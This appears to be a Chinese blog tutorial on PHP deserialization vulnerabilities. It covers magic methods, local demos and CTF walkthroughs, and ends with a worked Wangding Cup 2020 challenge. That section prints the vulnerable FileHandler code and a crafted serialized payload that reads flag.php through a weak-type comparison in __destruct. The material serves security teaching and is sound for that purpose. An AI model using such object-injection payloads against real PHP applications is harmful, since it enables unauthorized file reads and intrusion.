WEB漏洞-反序列化之PHP&JAVA全解(上)

一、PHP 反序列化原理二、案例演示2.1、无类测试2.1.1、本地2.1.2、CTF 反序列化小真题2.1.3、CTF 反序列化类似题

2.2、有类魔术方法触发2.2.1、本地2.2.2、网鼎杯 2020 青龙大真题

三、参考资料

一、PHP 反序列化原理

未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,从而导致代码执行,SQL 注入,目录遍历等不可控后果。在反序列化的过程中自动触发了某些魔术方法。当进行反序列化的时候就有可能会触发对象中的一些魔术方法。

serialize() //将一个对象转换成一个字符串

unserialize() //将字符串还原成一个对象

触发:unserialize 函数的变量可控,文件中存在可利用的类,类中有魔术方法:

参考:https://www.cnblogs.com/20175211lyz/p/11403397.html

__construct() //创建对象时触发

__destruct() //对象被销毁时触发

__call() //在对象上下文中调用不可访问的方法时触发

__callStatic() //在静态上下文中调用不可访问的方法时触发

__get() //用于从不可访问的属性读取数据

__set() //用于将数据写入不可访问的属性

__isset() //在不可访问的属性上调用 isset()或 empty()触发

__unset() //在不可访问的属性上使用 unset()时触发

__invoke() //当脚本尝试将对象调用为函数时触发

二、案例演示

2.1、无类测试

2.1.1、本地

unserialize2.php

error_reporting(0);

include "flag.php";

$KEY = "xiaodi";

$str = $_GET['str'];

if (unserialize($str) === "$KEY")

{

echo "$flag";

}

show_source(__FILE__);

flag.php

$flag='flag{flag_is_here}';

?>

serialize: unserialize: 演示:

一点改动:

2.1.2、CTF 反序列化小真题

链接:题目:点login咋没反应

1、可用发现登录按钮无法使用,只是一个摆设。

2、查看网页源代码,发现有一个href="admin.css"的可疑信息:

3、点进去查看,发现提示: 4、在url后面加上?23727,发现有反馈。

5、分析代码,可以得出:要想得到flag的值,要让COOKIE的值与KEY的值相等。同时还要满足一个条件:URL上不能够出现23727这个参数,否则执行的是显示源文件的信息,而不是flag的值。

6、抓包,并添加Cookie。

7、获得flag的值。

2.1.3、CTF 反序列化类似题

1、在URL后面添上?hint可以查看到代码。

2、比较COOKIE的值与KEY的值是否相等时,存在一个陷阱。 3、使用KEY为空的值,进行反序列化。 4、获得flag。

2.2、有类魔术方法触发

2.2.1、本地

unserialize3.php

class ABC{

public $test;

function __construct(){

$test = 1;

echo '调用了构造函数
';

}

function __destruct(){

echo '调用了析构函数
';

}

function __wakeup(){

echo '调用了苏醒函数
';

}

}

echo '创建对象a
';

$a = new ABC;

echo '序列化
';

$a_ser=serialize($a);

echo '反序列化
';

$a_unser=unserialize($a_ser);

echo '对象快死了
';

2.2.2、网鼎杯 2020 青龙大真题

题目链接:https://www.ctfhub.com/#/challenge

1、进入环境:

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

protected $op;

protected $filename;

protected $content;

function __construct() {

$op = "1";

$filename = "/tmp/tmpfile";

$content = "Hello World!";

$this->process();

}

public function process() {

if($this->op == "1") {

$this->write();

} else if($this->op == "2") {

$res = $this->read();

$this->output($res);

} else {

$this->output("Bad Hacker!");

}

}

private function write() {

if(isset($this->filename) && isset($this->content)) {

if(strlen((string)$this->content) > 100) {

$this->output("Too long!");

die();

}

$res = file_put_contents($this->filename, $this->content);

if($res) $this->output("Successful!");

else $this->output("Failed!");

} else {

$this->output("Failed!");

}

}

private function read() {

$res = "";

if(isset($this->filename)) {

$res = file_get_contents($this->filename);

}

return $res;

}

private function output($s) {

echo "[Result]:
";

echo $s;

}

function __destruct() {

if($this->op === "2")

$this->op = "1";

$this->content = "";

$this->process();

}

}

function is_valid($s) {

for($i = 0; $i < strlen($s); $i++)

if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))

return false;

return true;

}

if(isset($_GET{'str'})) {

$str = (string)$_GET['str'];

if(is_valid($str)) {

$obj = unserialize($str);

}

}

2、分析代码:

主函数(传递参数有效就将参数反序列化):

function is_valid($s) {

for($i = 0; $i < strlen($s); $i++)

if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))

return false;

return true;

}

if(isset($_GET{'str'})) {

$str = (string)$_GET['str'];

if(is_valid($str)) {

$obj = unserialize($str);

}

}

类之前(包含文件,高亮源代码):

include("flag.php");

highlight_file(__FILE__);

类的源代码

// - 第一:获取 flag 存储 flag.php

// - 第二:两个魔术方法__destruct __construct

class FileHandler {

protected $op;

protected $filename;

protected $content;

function __construct() {

$op = "1";

$filename = "/tmp/tmpfile";

$content = "Hello World!";

$this->process();

}

// - 第三:传输 str 参数数据后触发 destruct(反序列化之后,相当于添加了一个对象(但是不会触发construct方法,因为是反序列化得来的)。但是会在最后触发destruct方法),存在 is_valid 过滤(如果OP===2,赋值为1;否则就将content赋值为空,调用process方法)

function __destruct() {

if($this->op === "2")

$this->op = "1";

$this->content = "";

$this->process();

}

// - 第四:__destruct 中会调用 process,其中 op=1 就写入, op=2 就调用读取方法并且赋值给res,再打印res(output()为打印),否则就输出坏黑客。

public function process() {

if($this->op == "1") {

$this->write();

} else if($this->op == "2") {

$res = $this->read();

$this->output($res);

} else {

$this->output("Bad Hacker!");

}

}

// 写入(OP=1写入)

// ---如果filename和content都存在,并且content的长度小于100,就将content写入filename,并且输出成功。否则输出失败。

private function write() {

if(isset($this->filename) && isset($this->content)) {

if(strlen((string)$this->content) > 100) {

$this->output("Too long!");

die();

}

$res = file_put_contents($this->filename, $this->content);

if($res) $this->output("Successful!");

else $this->output("Failed!");

} else {

$this->output("Failed!");

}

}

// #读取(OP=2读取)

// ---如果filename存在,就读取文件。并且打印读取的内容。

private function read() {

$res = "";

if(isset($this->filename)) {

$res = file_get_contents($this->filename);

}

return $res;

}

// - 第五:涉及对象 FileHandler,变量 op 及 filename,content,进行构造输出。

原理解析(涉及:反序列化魔术方法调用,弱类型绕过,ascii 绕过)

使用该类对 flag 进行读取,这里面能利用的只有__destruct 函数(析构函数)。__destruct 函数对$this->op 进行了===判断并内容在 2 字符串时会赋值为 1(但是process 函数中使用==对$this->op 进行判断(为 2 的情况下才能读取内容))因此这里存在弱类型比较,可以使用数字 2 或字符串' 2'绕过判断。is_valid 函数还对序列化字符串进行了校验,因为成员被 protected 修饰,因此序列化字符串中会出现 ascii 为 0 的字符。经过测试,在 PHP7.2+的环境中,使用 public 修饰成员并序列化,反序列化后成员也会被 public 覆盖修饰。 总结:

传参str --> destruct方法(强类型对比)op值对比 === 对比类型和值op=’ 2’(字符串);op=‘2’ 两者不相等,不成立成立,强制op=1,反之op=自己设置的值process()弱类型对比,将’ 2’和‘2’对比是一致的

3、分析并构造payload:(protected会在前后加上 %00)

?str=O:11:"FileHandler":3:{s:2:"op";s:2:" 2";s:8:"filename";s:8:"flag.php";s:7:"content";s:2:"xd";}

如果使用protected:

4、运行。

5、查看网页源代码,获得flag。

5、更多解法。 https://blog.csdn.net/qq_36438489/article/details/106230811

三、参考资料

https://www.cnblogs.com/20175211lyz/p/11403397.htmlhttp://www/dooccn.com/php/https://www.ctfhub.com/#/challengehttp://php.jsrun.net/php/t/LWKKp

精彩内容

评论可见,请评论后查看内容,谢谢!!!评论后请刷新页面。